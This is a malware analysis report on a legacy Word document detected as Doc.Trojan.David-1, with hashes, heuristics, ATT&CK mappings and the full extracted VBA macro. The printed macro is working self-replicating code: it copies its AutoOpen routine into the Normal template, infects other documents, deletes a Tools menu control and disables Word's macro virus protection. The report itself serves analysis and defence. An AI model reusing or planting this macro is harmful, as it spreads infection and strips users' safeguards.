Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62fb1c526e0d8b07…

MALICIOUS

Office (OLE)

37.5 KB Created: 2002-03-15 12:48:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: c83f9590474d4faa926f0ccb0be6db75 SHA-1: 5a17db882585f7ff03051331d3c8a9530b4d5ad5 SHA-256: 62fb1c526e0d8b0781d2b0395c9c1e79126a5b1ad1967f970d26e1756b3ca7f6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to overwrite the current document with a decoy file named 'Doc1.doc' and then copies its own 'AutoOpen' macro to the Normal template, suggesting an attempt at persistence. The ClamAV detection 'Doc.Trojan.David-1' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.David-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.David-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2074 bytes
SHA-256: 4089d5094ea98154a72b60480a84e7b8cdae352ad4950c809e56b05164e12353
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
Attribute Main.VB_Description = "Макрос записан 01.11.00 Давыдов Д.В."
Attribute Main.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Макрос1"
'
' Макрос1 Макрос
' Макрос записан 01.11.00
'
    
   ' t = InputBox("?")
   Pat$ = Options.DefaultFilePath(Path:=wdToolsPath) & "\Doc1.doc"
    If Dir(Pat$) = "Doc1.doc" Then a = 1 Else a = 0
    If ActiveDocument.VBProject.VBComponents.Count <= 1 Then b = 0 Else b = 10
    c = a + b
          
    Select Case c
    Case 10
        Application.ScreenUpdating = False
        ad$ = ActiveDocument.FullName
        Selection.WholeStory
        Selection.Delete Unit:=wdCharacter, Count:=1
        ActiveDocument.SaveAs FileName:= _
        Pat$, FileFormat:=wdFormatDocument, LockComments:=False, Password:="", _
        AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False, _
        EmbedTrueTypeFonts:=False, SaveNativePictureFormat:=False, SaveFormsData _
        :=False, SaveAsAOCELetter:=False
        
        
        Documents.Open ad$
        Application.OrganizerCopy Source:= _
        ad$, Destination:= _
        NormalTemplate.FullName, Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
        Documents("Doc1.doc").Close SaveChanges:=wdSaveChanges
        Application.ScreenUpdating = True
    Case 1
        ad$ = ActiveDocument.FullName
        Application.OrganizerCopy Source:= _
        Pat$, Destination:= _
        ad$, Name:="AutoOpen", _
        Object:=wdOrganizerObjectProjectItems
        CommandBars("Tools").Controls(12).Delete
        Options.VirusProtection = False
        ActiveDocument.Save
    End Select
   
End Sub